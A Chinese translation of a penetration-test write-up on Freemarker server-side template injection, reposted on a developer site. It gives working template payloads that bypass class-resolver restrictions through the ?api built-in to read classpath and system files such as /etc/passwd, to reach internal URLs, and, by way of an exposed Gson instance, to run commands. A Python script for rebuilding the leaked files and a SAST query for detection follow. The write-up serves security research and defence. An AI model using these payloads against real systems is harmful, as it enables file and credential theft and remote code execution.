内容简介:原文链接:https://ackcent.com/blog/in-depth-freemarker-template-injection/
原文链接:
https://ackcent.com/blog/in-depth-freemarker-template-injection/
原文作者:
Toni Torralba
恭喜翻译作者Hulk@先知社区
价值100元的天猫超市享淘卡一张
欢迎更多优质原创,翻译作者加入
ASRC文章奖励计划
欢迎多多投稿到先知社区
每天一篇优质技术好文
点滴积累促成质的飞跃
今天也要进步一点点呀
前言
在最近一次渗透测试中,AppSec团队碰到了一个棘手的Freemarker服务端模板注入。我们在网上没有找到深入研究有关这类注入的文章,于是决定写下本文。对于这篇Freemarker注入的文章来说,我们将着重介绍我们是如何灵活变通,尝试各种方法,最后成功注入。
概述
我们被分配测试一个内容管理系统(CMS)应用,用户可以通过这个CMS在网上发布各种内容。在本次测试中,我们只有一些低权限账户,因此,测试的一个重要目标就是弄清楚是否存在一些越权漏洞,并尝试取得最高权限。
经过一些探索性测试后,我们偶然发现了一个功能,用户可以通过其按钮来管理模板。这个模板为Freemarker,我立马想到可能存在服务端模板注入漏洞。有一个快速,公开的的Poc常用于该模板,能够获取任意代码执行权限:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}
但问题是我们的账户权限非常低,没有编辑模板的权限,因此我们首先需要提升权限。很幸运,经过几个小时的努力,最后发现权限管理系统存在一个认证缺陷,利用这点我可以窃取站点管理员权限。Nice!下一步是尝试代码执行。我们创建一个模板,粘贴Poc然后获得以下反馈:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
好吧,它并不是不堪一击。
模板类解析器
Freemarker模板为了限制 TemplateModels
被实例化,在其配置中注册了TemplateClassResolver。下面是三个预定义的解析器:
-
UNRESTRICTED_RESOLVER
:简单地调用ClassUtil.forName(String)
。 -
SAFER_RESOLVER
:和第一个类似,但禁止解析ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
。 -
ALLOWS_NOTHING_RESOLVER
:禁止解析任何类。
目标使用的模板类解析器为: ALLOWS_NOTHING_RESOLVER
,所以我们无法使用 ?new
。也就是我们不能使用任何 TemplateModel
,不能利用它来获取任意代码执行。我们开始阅读Freemarker说明文档,想找到其他办法来造成服务端模板注入。
Freemarker内置的 ?api
经过一番搜寻,我发现Freemarker支持一个内置函数:?api,通过它可以访问底层Java Api Freemarker的 BeanWrappers
。
这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。我们非常幸运,因为目标模板的这个函数是开启的,我们可延伸的方向又多了起来。
但执行代码仍非易事:Freemarker模板有很好的安全防护,它严格限制 ?api
访问的类和方法。在其官方的Github存储库中,我们发现一个特性文件,该文件列出了禁止调用的名单。
简单归纳:我们无法调用
Class.forName
, Class.getClassLoader
, Class.newInstance
, Constructor.newInstance
和 Method.invoke
。获得任意代码执行权限的机会渺茫。但通过 Java 调用和表达式一定还存在其他有趣的方法可以实现,我们没有气馁,仍继续探索。
访问类路径中的资源
我们后来发现 Object.getClass
没有被禁用。利用它可以通过模板中公开的 BeanWrapper
来访问 Class<?>
类,并从其中调用getResourceAsStream。然后,我们就可以访问该应用类路径中的任意文件了。通过这个方法读取文件内容可能有些复杂(可能有其他捷径)。我们尝试下面这段代码:
<#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
(注意这里的 object
是一个 BeanWrapper
,它是模板自带的数据模型之一)在渲染模板后,所选文件的每个字节都会呈现出来,并且以 []
间隔开来。这有点繁琐,通过 Python 脚本可以快速将其转换为一个文件。
match = re.search(r'FILE:(.*),\s*(\\n)*?]', response) literal = match.group(1) + ']' literal = literal.replace('\\n', '').strip() b = ast.literal_eval(literal) barray = bytearray(b) with open('exfiltrated', 'w') as f: f.write(barray)
然后,我们就可以列出目录的所有内容,我们可以访问 .properties
这类敏感文件,它们可能包含一些访问凭据,还可以下载 .jar
和 .class
文件,从而反编译获取程序源代码。这时,渗透测试似乎变成代码审计,AppSec团队在这方面有丰富的经验。一段时间后,我们发现一个大奖,在源代码中找到了AWS的明文凭据,利用它可以访问高价值的AWS S3储存桶。这是个血的教训:(开发者)千万不能因为“黑客无法访问它”而将明文凭据放在源代码中。
读取系统任意文件
我们被困在类路径中,有些无聊,于是继续深入发掘。仔细阅读Java文档后,我们发现可以通过 Class.getResource
的返回值来访问对象 URI
,该对象包含方法 toURL
。因为URI提供静态方法 create
,通过该方法我们可以创建任意 URI
,然后用 otURL
将其返回至 URI
。经过一些修改,我们构造下面这段代码来窃取系统的任意文件:
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
这段代码很好,但仍不是完美的。我们使用 http://
( https://
或 ftp://
)替换掉 file://
,此时一个受限的模板注入变成一个完全的服务端模板注入了!为进一步扩大影响,我们可以通过它来查询AWS元数据。
Cool,让我们进一步探究能否再干点什么。
通过ProtectionDomain来获取ClassLoader
重新读完Java文档的Class部分后,我们注意到了 getProtectionDomain
方法。通过该方法可以访问对象ProtectionDomain,巧合的是,该对象有自己的 getClassLoader
方法。Freemarker的 unsafeMethods.properties
文件没有限制调用 ProtectionDomain.getClassLoader
,因此我们找到了一个通过模板访问 ClassLoader
的方法。
现在我们可以加载引用任意类(即 Class<?>
对象),但是我们仍不能实例化它们或调用其方法。尽管这样,我们可以检查字段,如果是 static
的我们还可以获取它们的值(对于非静态,我们没有合适的实例来访问它们)。这似乎有点希望,我们查获取最终的代码执行只差一步。
任意代码执行
前面我们通过 getResourceAsStream
方法已经下载了一大堆源代码,这时我们再次审查它们,搜寻可以可以加载并且有静态字段的类。一会儿后,我们找到了:一个字段为 public static final
的类,它是Gson的一个实例。Gson是一个谷歌创建的JSON对象操作库,它的安全性很高。但我们目前可以访问实例,要想实例化任意类只是时间问题:
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
(我们通过 Field.get
访问静态字段,所以并不需要参数,只需简单使用 null
。)
我们可以实例化任意对象。但因为 unsafeMethods.properties
安全政策的存在, Runtime.getRuntime
等方法无法实现,我们不能直接获取代码执行。但我突然发现,使用Freemarker自带的模板模型 Execute
,并且无需使用内置的 ?new
来实例化。OK,问题都解决了,我们找到了获取任意代码执行的方法:
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("id")}
反馈:
uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
SAST查询
开发者如果在早期用SAST扫描其源代码,该问题在开发阶段就能解决,而不至于拖到今天,并且修复起来也更简单。在SAST工具上,我写了下面这段查询,它是一个出色的代码审计工具:
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled"); CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn); result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
Freemarker内置的 ?api
默认不开启,所以使用 ture
可以轻松查找 setAPIBuiltinEnabled
方法的调用,并从报告结果中获取漏洞提升。
小结
本文,我们分享了当Freemarker的 TemplateClassResolver
全部禁用时如何绕过,间接造成模板注入。通过利用内置的 ?api
,发现获取敏感数据的方法,并且通过过与某个特殊类的组合来造成任意代码执行。
总结几个重点:
-
首先,赋予用户创建编辑动态模板的权限是非常危险的。模板语言是世界上最好的语言(●ˇ∀ˇ●),我们需要更加谨慎地处理它,同时在分配权限时需要考虑到,模板编辑的权限是否只是Web服务器管理员(防御潜在的越权漏洞)才有。
-
内置
?api
是否开启?攻击者滥用它可以做一些危险的事,例如下载源代码,造成SSRF或者RCE。这就是它默认关闭的原因。除非迫不得已,请勿开启它。 -
Java在开发代码阶段提供了一些保护措施,开发者应该正视它:当攻击者实现了JVM中的某种代码执行时,(代码中)暴露的或者通过
Serializable
类泄露的敏感数据有着极高的风险。Freemarker自带一些保护措施(例如关闭像setAccessible
这样危险的映射方法),具有良好的安全性和经得起实践的代码总能使攻击者举步维艰。
总之,这是一次非常棒的渗透测试,在发现禁用如何解析器时我们对获取代码执行几乎绝望,但绕过的过程很有趣。此外,我们希望这篇文章对于发现自己处于类似情况,研究在受限或者沙盒中如何突破限制的渗透测试者所有帮助。
更
多
精
彩
请猛戳右边二维码
Twitter:AsrcSecurity
公众号ID
阿里安全响应中心
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 服务端注入之Flask框架中服务端模板注入问题
- Web Hacking 101 中文版 十六、模板注入
- Web Hacking 101 中文版 十六、模板注入
- 在Angular2中注入模板HTML部分
- Python中从服务端模板注入到沙盒逃逸的源码探索 (一)
- Angular 4 依赖注入教程之二 组件中注入服务
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Mashups Web 2.0开发技术—— 基于Amazon.com
萨拉汉 / 吴宏泉 / 清华大学 / 2008-1 / 48.00元
《MashupsWeb2.0开发技术(基于Amazon.Com) 》介绍了mashup的底层技术,并且第一次展示了如何创建mashup的应用程序。Amazon.com与Web服务强势结合,拓展了Internet的应用范围,使得开发人员可以把Amazon的数据和其他的可利用资源自由地结合起来创建功能丰富的全新应用程序,这种应用程序叫做mashup。 《MashupsWeb2.0开发技术(基于A......一起来看看 《Mashups Web 2.0开发技术—— 基于Amazon.com》 这本书的介绍吧!